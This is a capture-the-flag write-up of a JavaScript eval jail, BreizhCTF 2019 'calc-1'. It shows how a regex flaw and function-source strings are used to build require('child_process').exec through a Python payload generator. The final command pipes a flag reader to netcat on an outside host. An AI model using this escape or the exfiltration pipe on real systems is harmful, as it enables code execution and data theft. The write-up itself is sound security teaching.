# BreizhCTF 2019 - calc-1

CTF URL: https://www.breizhctf.com/

Solves: 2 / Points: 200 / Category: Jail

## Challenge description

I’ve made a simple calculator in JS, I know I shouldn’t use eval but with only 6 chars per line I should be safe.

Note: the source code of the challenge was provided

## Challenge resolution

Our objective is to execute a shell command from the JS calculator. To perform that, we have to run the following payload on the calculator:

``````require('child_process').exec("cmd")
``````

### Step one: bypass 6 chars limitation

The calc limits input size to 6 chars:

``````createFilter(line => line.length < 7, "Input too long, max 6 char per line."), // check line length
``````

Problem: Simple and good control -> no bypass :(

Solution:

The calc program uses the regexp “^([0123456789*\/+%-_ ])+\$” to validate inputs.

The interesting point here is the position of the operator “-“ which define an interval on a RegExp context when it’s not escaped. Thus, all the characters between the “%” and “_”, A to Z included but not a to z.

So we can create a variable and store data:

``````> A='E'
E
> A
E
``````

Therefore, we are able to build a payload of more than 6 characters.

Unfortunately JavaScript is a case-sensitive language, so we can not write our exploit directly.

### Step two: Lowercase alphabet construction

From JavaScript doc:

+ is also used as the string concatenation operator: If any of its arguments is a string or is otherwise not a number, any non-string arguments are converted to strings, and the 2 strings are concatenated.

In the provided script, we have a fully upercase function name: `EVAL`

``````> EVAL
[Function: EVAL]
``````

So by applying the operator “+” to the EVAL function we could obtain some lowercase chars :)

``````> EVAL+1
function (src){
const cmd = `_=\${src}`
eval(cmd)
return _
}1
> _
s
``````

However, the content of the above response doesn’t allow us to write the desired payload. We need to retrieve more chars.

We tried with the main function:

``````A=EVAL
A+1
_ // m
E=_
A+1
_ // a
E+_
E=_
A+1
_ // i
E+_
E=_
A+1
_ // n
E+_
E=_
A(E) // EVAL("main")
_+1  // show main's code
``````

Output:

``````function main(){
console.log("   _________________________________   ")
console.log("  |                                 |  ")
console.log("  |   Welcome to our js calculator  |  ")
.
.
.
}1;
``````

Nice, we have more chars here !

### Step two(bis): Lowercase alphabet py-construction

To write the complete payload we had to automate the steps above. The following python script is the result of the automation process:

``````# EVAL source code
a = """function (src){
const cmd = `_=\${src}`
eval(cmd)
return _
}1
"""
# main source code
b = """function main(){
console.log("   _________________________________   ")
console.log("  |                                 |  ")
console.log("  |   Welcome to our js calculator  |  ")
console.log("  |      Submit your expression     |  ")
console.log("  |     Only 6 char per line max    |  ")
console.log("  |_________________________________|\n")

function createFilter(func, error_msg){
return function(callback, onerror) {
return line => func(line) ? callback(line) : onerror(error_msg)
}
}

function createModifier(func){
return function(callback, onerror) {
return line => callback(func(line))
}
}

function applyFunction(func){
return function(callback, onerror) {
return line => (func(line), callback(line))
}
}

const whiteList = [
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // digits
"*", "/", "+", "%", "-",  // operators
"_", " ", "\t" // output and white space
]

const validCodeReg = new RegExp(`^([\${whiteList.join("")}])+\$`)

const handlers = [
createFilter(line => line.length < 7, "Input too long, max 6 char per line."), // check line length
createFilter(line => validCodeReg.exec(line), `Invalid char in input, only valid chars are "\${whiteList.join("")}".`), // check line against whitelist
createModifier(line => EVAL(line)), // evaluate line
applyFunction(console.log), // print output
]
const handler = handlers.reverse()
.reduce(
(prev, cur) => cur(prev, error_msg => (console.error(error_msg), true)),
_ => false
)

startPrompt(handler, true)
}1
"""
upcase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"

get_lowercase_chars =  """
A=EVAL
A+1
_
E=_
A+1
_
E+_
E=_
A+1
_
E+_
E=_
A+1
_
E+_
E=_
A(E)
_+1
M=_
E=''
A+1
_
E+_
E=_
M+1
_
E+_
E=_
A+1
_
E+_
E=_
A+1
_
E+_
E=_
A(E)
T=_
E=''""" # we have to clean the E var

get_lowercase_chars_no_clean =  """
A=EVAL
A+1
_
E=_
A+1
_
E+_
E=_
A+1
_
E+_
E=_
A+1
_
E+_
E=_
A(E)
_+1
M=_
E=''
A+1
_
E+_
E=_
M+1
_
E+_
E=_
A+1
_
E+_
E=_
A+1
_
E+_
E=_
A(E)
T=_
""" # E contains "this" and we don't clean it here

# code to obtain EVAL and main functions code
print get_lowercase_chars

def generate(string, source, name, source2, name2):

result = ""
for c in string:

found = False
if c == "q":
print get_lowercase_chars_no_clean
getQ()
result += c
print "E+U"
print "E=_"
continue
if c in upcase:
result += c
print "E+'" + str(c) + "'"
print "E=_"
continue
j = 0
for i in source:
if i == c:
found = True
result += c
print name + "+1"
print "_[" + str(j) + "]"
print "E+_"
print "E=_"
break
j+=1

if found == False:
j = 0
for i in source2:
if i == c:
found = True
result += c
print name2 + "+1"
print "_[" + str(j) + "]"
print "E+_"
print "E=_"
break
j += 1

def getQ():

print "X=E"
generate("process", a, "A", b, "M")
print "P=_"
print "E=''"
print "K=E"
print "T[P]"
print "Q=_"
print "Q[K]"
print "H=_"
print "H"
print "N=_"
print "N"
print "Q=_"
``````

The getQ function generates the instructions to obtain the letter “q” because there are no “q” on main or EVAL code.

Finally, we wrote the generation of the payload:

``````# payload generation
generate("re", a, "A", b, "M")
print "R=_"
print "E=''"
getQ()
print "E=''"
generate("uire", a, "A", b, "M")
print "U=_"
print "E=''"
generate("child_process", a, "A", b, "M")
print "R+Q"
print "R=_"
print "R+U"
print "R=_"
print "A(R)"
print "_(E)"
print "F=_"
print "E=''"
generate("exec", a, "A", b, "M")
print "F[E]"
print "F=_"
print "E=''"

generate("/home/guest/flag_reader | nc myhostname 443", a, "A", b, "M")
``````

Once the output of the python generator executed on the JS calculator, we had the following vars :

``````> F
[Function: exec]
> E
``````

Run the exec function F with the parameter E and get the flag :

``````> F(E)
``````
``````root@myhostname# nc -lp 443

breizhctf_flag{FORGOTTEN_FLAG}

``````

Author: @dabi0ne

Post date: 2019-04-14
{"ft_lang_label":"__label__en","ft_lang_prob":0.58579504,"math_prob":0.9764055,"size":6332,"snap":"2022-27-2022-33","text_gpt3_token_len":1947,"char_repetition_ratio":0.15360303,"word_repetition_ratio":0.17669532,"special_character_ratio":0.37586862,"punctuation_ratio":0.12790698,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9916109,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-08T10:34:11Z\",\"WARC-Record-ID\":\"<urn:uuid:b6941a93-3a3b-40dd-8d95-5fc7f07e6e38>\",\"Content-Length\":\"27726\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c24e0095-b984-45eb-9448-c3aaebb34d4a>\",\"WARC-Concurrent-To\":\"<urn:uuid:c6f1cb38-efdc-40c0-887a-5bdf753fbfa6>\",\"WARC-IP-Address\":\"185.199.110.153\",\"WARC-Target-URI\":\"https://tipi-hack.github.io/2019/04/14/breizh-jail-calc.html\",\"WARC-Payload-Digest\":\"sha1:GXTZ26ZDT2ZZ73HS6XWJRTHAF5NT2BRS\",\"WARC-Block-Digest\":\"sha1:UCYUABEPAXQ35PZMGLBKBASUMUP4ODBP\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882570793.14_warc_CC-MAIN-20220808092125-20220808122125-00142.warc.gz\"}"}